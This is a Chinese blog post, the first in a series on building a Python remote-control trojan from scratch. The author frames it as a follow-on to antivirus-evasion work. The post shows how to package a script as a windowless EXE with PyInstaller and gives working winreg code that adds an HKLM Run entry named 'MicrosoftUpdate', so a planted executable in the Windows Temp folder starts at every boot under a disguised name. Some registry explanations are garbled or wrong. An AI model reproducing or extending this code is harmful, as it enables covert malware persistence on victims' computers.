Python从零开始编写控制程序(一)
Python之从零开始编写控制程序(一)
在此声明:本博客仅供学习参考,任何产生相关违法犯罪行为与本人无关。
另外如果有师傅有好的思路和想法,可以和我一起沟通交流。
最近在一直尝试做Powershell木马的免杀,免杀的Payload一直是Coblatstrike生成的。
就想着自己尝试使用Python编写木马,考虑到自己之前有网络编程经验,也懂一点多线程多进程。
所以考虑自己从零开始编写基于Socket的木马。
整体思路与实现功能初步如下,将分为5个篇幅来构建实现其功能。

其中有些问题譬如编码解码上传的问题在每次博客后我会进行总结。
本次博客主要先讲解如何将生成的Python代码转化为EXE程序,另外实现注册表写入功能。
转化为EXE程序
Python中提供相关库Pyinstaller,在Pycharm中直接下载,转换至终端即可使用。
基本使用参数含义如下:
| 参数 | 含义 |
|---|---|
| -F | 产生单个可执行文件 |
| -D | 产生一个目录,作为可执行程序 |
| -w | 程序运行时不产生命令行窗口 |
| -i | 选择生成EXE的图标,不选择则默认 |
例:产生隐藏执行Python命令的文件:
pyinstaller -F -w -i C:\\a.icon main.py

生成结果一般如上。
写入注册表开机自动执行
首先我们要知道注册表的基本知识:
HEKY_CLASSES_ROOT:管理文件文件系统,根据在Windows中安装的应用扩展名,该根键指明其文件类型,相应打开文件夹要调用的程序等信息。
HKEY_CURRENT_USR:管理系统当前的用户信息,在这个根据键中保存了本地计算机中存放的当前登陆用户的用户信息,包括用户登录名与暂存密码,在用户登陆Win98的时候,其信息从HKEY_USERS象印的相中拷贝到HEY_CURRENT_USER中
HKEY_LOCAL_MACHINE:管理当前系统硬件配置,在这个根键中保存了计算机的硬件配置数据,此根键下的子关键字包括在SYSTEM.DAT中,用来提供所需信息【提权中用的比较多】
HKEY_USERS:管理系统的用户信息,在这个根键中存放在本地计算机口令的用户表示和密码列表,且每个用户的预配置信息都存储在HKEY_USERS的根键中,HKEY_USERS是远程计算机访问中的根键之一
HKEY_CURRENT_CONFIG:管理当前用户的系统配置,在这个根键中保存着定义当前用户桌面配置等其他与用户有关的信息。
其中与开机自动执行相关的注册表位置在:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
在编辑注册表前我们需要了解其相关结构:

在添加应用程序至注册表前,我们需要解决两个问题:
1.写入注册表的位置
2.注册表写入后的名称,类型,与文件所处位置。
在这里我将文件所处位置设为C:\System32\Temp临时文件目录下的程序, 因为将来会使用到自解压格式自动设定。
因此这里的数据可以是C:\Windows\Temp\XMind.exe.写入注册表的位置已在上文提及不再赘述。
Python处理注册表相关的库为winreg.下面为具体使用方法:
import winreg
#设置数据位置
strings=r'C:\Windows\Temp\XMind.exe'
#设置注册表写入位置,其中0和Winreg.KEY_ALL_ACCESS为默认
key=winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE,r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0,winreg.KEY_ALL_ACCESS)
#创建新注册表值的名称
newkey=winreg.CreateKey(key,"MicrosoftUpdate")
#设置新的注册表
winreg.SetValueEx(key,"MicrosoftUpdate",0,winreg.REG_SZ,strings)
#写入后关闭
winreg.CloseKey(key)
执行后结果如下

删除注册表写入的数据,重新生成EXE后再次进行运行,发现已经成功执行进程表写入。

Python从零开始编写控制程序(一)的更多相关文章
- Python从零开始编写控制程序(二)
# Python从零开始编写控制程序(二)前言:终于考完期末了,鸽了很久的远控Python终于有时间更新下了.上篇文章里,我们解决了注册表写入和Python编写为exe程序的问题.那么这篇文章我们来研 ...
- 从零开始编写自己的C#框架(26)——小结
一直想写个总结,不过实在太忙了,所以一直拖啊拖啊,拖到现在,不过也好,有了这段时间的沉淀,发现自己又有了小小的进步.哈哈...... 原想框架开发的相关开发步骤.文档.代码.功能.部署等都简单的讲过了 ...
- 从零开始编写自己的C#框架(25)——网站部署
导航 1.关掉访问保护 2.发布网站 3.复制网站到服务器 4.添加新网站 5.设置网站访问权限 6.设置文件夹访问权限 7.控制可更新文件夹执行权限 8.设置“应用程序池”.net版本与模式 9.附 ...
- 从零开始编写自己的C#框架(1)——前言
记得十五年前自学编程时,拿着C语言厚厚的书,想要上机都不知道要用什么编译器来执行书中的例子.十二年前在大学自学ASP时,由于身边没有一位同学和朋友学习这种语言,也只能整天混在图收馆里拼命的啃书.而再后 ...
- 从零开始编写自己的C#框架(20)——框架异常处理及日志记录
最近很忙,杂事也多,所以开发本框架也是断断续续的,终于在前两天将前面设定的功能都基本完成了,剩下一些小功能遗漏的以后发现再补上.接下来的章节主要都是讲解在本框架的基础上进行开发的小巧. 本框架主要有四 ...
- 从零开始编写自己的C#框架(17)——Web层后端首页
后端首页是管理员登陆后进入的第一个页面,主要是显示当前登陆用户信息.在线人数.菜单树列表.相关功能按键和系统介绍.让管理员能更方便的找到息想要的内容. 根据不同系统的需要,首页会显示不同的内容,比如显 ...
- 从零开始编写自己的C#框架(15)——Web层后端登陆功能
对于一个后端管理系统,最重要内容之一的就是登陆页了,无论是安全验证.用户在线记录.相关日志记录.单用户或多用户使用帐号控制等,都是在这个页面进行处理的. 1.在解决方案中创建一个Web项目,并将它设置 ...
- 从零开始编写自己的C#框架(11)——创建解决方案
这段时间一直在充电,拜读了园子中大神们的博文(wayfarer的<设计之道>.TerryLee的<.NET设计模式系列文章>.卡奴达摩的<设计模式>还有其他一些零散 ...
- 从零开始编写自己的C#框架(2)——开发前准备工作
没想到写了个前言就受到很多朋友的支持,大家的推荐就是我最大的动力(推荐得我热血沸腾,大家就用推荐来猛砸我吧O^-^O),谢谢大家支持. 其实框架开发大家都知道,不过要想写得通俗点,我个人觉得还是挺吃力 ...
随机推荐
- Unity StateMachineBehaviour
在unity animator中单个Animator Clip中点击Add Behaviour增加当执行该动画时的一些状态代码,请看如下 创建完之后基本代码结构如下:(如果想修改默认代码结构,请看示例 ...
- 创建Cloudflare CDN
背景说明: XX全球版项目CDN, 原有改之前:主CDN为Akamai,备CDN为Cloudflare. 计划改之后:主CDN为Cloudflare,备CDN为Akamai. 原因:Akamai CD ...
- 13 Nginx访问日志分析
#!/bin/bash export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin # Nginx 日志格式: # ...
- 14.6、redis集群
1.环境配置: 服务器名称 ip地址 实例6379 实例6380 实例6381 实例6381 实例6381 实例6381 controller-node1 172.16.1.90 主 从 主 从 主 ...
- @EnableDiscoveryClient与Nacos自动注册
前一阵看到有篇博客说cloud从Edgware版本开始,可以不加@EnableDiscoveryClient注解,只要配置好注册中心的相关配置即可自动开启服务注册功能,比较好奇其中的原理,研究了一番特 ...
- SpringCloud的Ribbon自定义负载均衡算法
1.Ribbon默认使用RoundRobinRule策略轮询选择server 策略名 策略声明 策略描述 实现说明 BestAvailableRule public class BestAvailab ...
- easyui的combobox的onChange事件的实现
easyui的combobox的onChange事件的实现,直接上代码: <div style="display:inline;margin-left:15px;"> ...
- buu 内涵软件
一.无壳. 并且是32位程序, 二.用ida静态调试一下. 这里我脑子发热啊,flag已经在眼前,活生生被我放跑了,靠,我直接搜索字符串,然后就一脸懵逼的,进入了很多不知名的函数,就炸了,看了wp才知 ...
- ARTS第五周
-第五周.这两周在复习大学里的课程,发现当时觉得课上很多看不懂的,现在看起来轻松多了,也带来了新的感悟. 1.Algorithm:每周至少做一个 leetcode 的算法题2.Review:阅读并点评 ...
- Min25 筛与 Powerful Numbers
Min25 筛与 Powerful Numbers Min25 筛 大喊一声 Min25 NB!!! 这是一个非常神奇的东西,用于求更加普遍的积性函数的前缀和. 比如我们要求 \(\sum_{i=1} ...